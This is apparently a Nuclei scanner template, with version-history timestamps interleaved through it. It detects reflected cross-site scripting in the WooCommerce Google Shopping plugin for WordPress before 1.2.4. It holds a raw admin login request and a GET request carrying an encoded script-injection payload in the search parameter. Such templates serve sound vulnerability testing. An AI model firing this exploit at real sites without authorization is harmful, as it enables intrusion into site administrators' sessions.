2022-02-19 11:31:47 +00:00
id : elex-woocommerce-xss
info :
2022-09-09 17:34:37 +00:00
name : WordPress WooCommerce Google Shopping < 1.2.4 - Cross-Site Scripting
2022-02-19 11:31:47 +00:00
author : dhiyaneshDk
2022-04-15 16:39:44 +00:00
severity : high
2022-04-22 10:38:41 +00:00
description : WordPress WooCommerce Google Shopping < 1.2.4 is susceptible to cross-site scripting because the plugin does not sanitize or escape the search GET parameter before outputting it back in the page and
executing it in a logged in admin context.
reference :
- https://wpscan.com/vulnerability/647448d6-32c0-4b38-a40a-3b54c55f4e2e
2022-04-15 16:39:44 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 7.2
cwe-id : CWE-79
2022-08-27 04:41:18 +00:00
tags : wp-plugin,xss,authenticated,woocommerce,wpscan,wordpress
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2022-02-19 11:31:47 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-02-19 11:31:47 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
2022-02-22 08:20:29 +00:00
GET /wp-admin/admin.php?page=elex-product-feed-manage&search=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
2022-02-19 11:31:47 +00:00
Host : {{Hostname}}
cookie-reuse : true
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-02-22 08:20:29 +00:00
- "</script><script>alert(document.domain)</script>"
2022-02-19 11:31:47 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
- 200